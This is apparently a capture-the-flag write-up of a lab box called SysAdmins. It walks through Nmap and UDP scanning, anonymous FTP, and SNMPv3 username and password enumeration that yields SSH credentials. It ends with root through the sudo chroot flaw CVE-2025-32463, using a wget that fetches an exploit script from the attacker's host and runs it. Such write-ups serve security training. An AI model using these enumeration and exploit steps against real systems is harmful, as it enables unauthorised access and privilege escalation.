HackSmarter SysAdmins Writeup: SNMP Enumeration to Root

Initial reconnaissance

I started with a detailed Nmap scan:

output

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 62 vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             742 Jul 13 12:39 data_breach_notification.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.0.0.247
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e7:26:9a:a9:16:cb:fc:82:4b:dd:f9:85:60:86:70:8d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbnNpdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9gd4D7tpOjvAdpQkX4K9uv4XQP0MGAnru6LPtxKreqBeA/6xwDY55R1LNEmlG0q9nnl2W2PVMqbVDjbVrVrVI=
|   256 c8:ae:e8:56:7b:51:c5:49:8b:42:c0:dd:df:02:56:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINiUdVgJ5hDrb22eWQ2AESj1TX3ayZ5MbD3OCtSf4Cso
80/tcp open  http    syn-ack ttl 62 nginx 1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Sysadmins - System Administration Services
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Anonymous FTP

Anonymous FTP access was enabled. My first attempt to log in without an anonymous username failed because the server only allows anonymous access. Logging in as Anonymous worked:

output

ftp sysadmins.hsm
Connected to sysadmins.hsm.
220 (vsFTPd 3.0.5)
Name (sysadmins.hsm:kali): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||41527|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             742 Jul 13 12:39 data_breach_notification.txt
226 Directory send OK.

The FTP server contained data_breach_notification.txt:

output

Hi team,

We are writing to inform you of a recent data breach that may have affected some of your information.

Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.

We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.

We'll continue to share updates through this channel.

Please do not hesitate to reach out to us if you have any questions.

Our team is working around the clock to deal with this situation, and we really appreciate your patience and understanding.

Kind regards,
Peter
Lead Sysadmin

I checked for virtual hosts and directories, but did not find anything useful. I then looked into the Nginx version, 1.24.0, and suspected that the target might be vulnerable. An automated scanner reported a worker crash, but did not confirm code execution. The result turned out to be a dead end.

UDP scan and SNMP

I had missed a UDP scan during my initial reconnaissance. Scanning UDP ports revealed SNMP on port 161:

output

nmap -sU 10.1.76.197

PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp

I then identified the service as an SNMPv3 server:

output

nmap -sU 10.1.76.197 -p 161 -A

PORT    STATE SERVICE VERSION
161/udp open  snmp    net-snmp; net-snmp SNMPv3 server
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 13f3f36692d0546a00000000
|   snmpEngineBoots: 10
|_  snmpEngineTime: 1h17m43s

SNMP (Simple Network Management Protocol) is used to monitor and manage network devices. SNMPv3 adds user-based authentication and access controls. It uses UDP port 161 for requests and port 162 for traps or notifications.

I tried onesixtyone, snmp-check, and an SNMPv2c query with the public community string, but those attempts did not work against this SNMPv3 service. I then found SNMPwn, an SNMPv3 user enumeration and attack tool. It can identify valid usernames because a server may respond differently to unknown usernames.

SNMPwn

I had to modify the Ruby script because --hosts was being treated as a file path, causing File.readlines("sysadmins.hsm") to raise ENOENT. I changed snmpwn.rb so --hosts accepts a single hostname, a comma-separated list, or a file containing one host per line. I also updated the help text.

After some time, I found valid credentials:

output

Account and password (No encryption configured - BAD)

|  User   |     Host      | Password  |
| waserby | sysadmins.hsm | butterfly |

I used the credentials to query SNMPv3 and saved the large output to a text file for manual review:

output

snmpwalk -u waserby -A butterfly 10.1.76.197 -v3 -l authnopriv

The output contained SSH credentials for Helena, an infrastructure engineer:

output

ssh [email protected]
Password: PerfectIsTheEnemyOfDone223!

I connected over SSH and retrieved user.txt:

output

ssh [email protected]
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-134-generic x86_64)
helena@sysadmins:~$

Privilege escalation

I checked the listening services, but did not find anything obvious:

output

helena@sysadmins:~$ ss -tlnp
State        Recv-Q       Send-Q             Local Address:Port               Peer Address:Port       Process
LISTEN       0            4096               127.0.0.53%lo:53                      0.0.0.0:*
LISTEN       0            32                       0.0.0.0:21                      0.0.0.0:*
LISTEN       0            4096                     0.0.0.0:22                      0.0.0.0:*
LISTEN       0            511                      0.0.0.0:80                      0.0.0.0:*
LISTEN       0            4096                  127.0.0.54:53                      0.0.0.0:*
LISTEN       0            4096                        [::]:22                         [::]:*
LISTEN       0            511                         [::]:80                         [::]:*

After transferring and running LinPEAS, I found that the system was using sudo version 1.9.16p2, which is vulnerable to CVE-2025-32463. I used this exploit:

output

helena@sysadmins:/tmp$ wget -O sudo-chwoot.sh http://10.200.115.177:5000/sudo-chwoot.sh
--2026-11-03 13:53:31--  http://10.200.115.177:5000/sudo-chwoot.sh
Connecting to 10.200.115.177:5000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1046 (1.0K) [text/x-sh]
Saving to: ‘sudo-chwoot.sh’

sudo-chwoot.sh               100%[==============================================>]   1.02K  --.-KB/s    in 0s

2026-11-03 13:53:31 (128 MB/s) - ‘sudo-chwoot.sh’ saved [1046/1046]

helena@sysadmins:/tmp$ chmod +x sudo-chwoot.sh
helena@sysadmins:/tmp$ ./sudo-chwoot.sh
woot!
root@sysadmins:/#

That's all. Happy hacking!

Initial reconnaissance

Anonymous FTP

UDP scan and SNMP

SNMPwn

Privilege escalation

related notes

HackSmarter TaskFlow Writeup: Sandbox Escape to Root

HackSmarter Aftermath Writeup | SMTP VRFY Enum to Roundcube Password Spray to apt-get Root

HTB BlockSynergy Writeup

Comments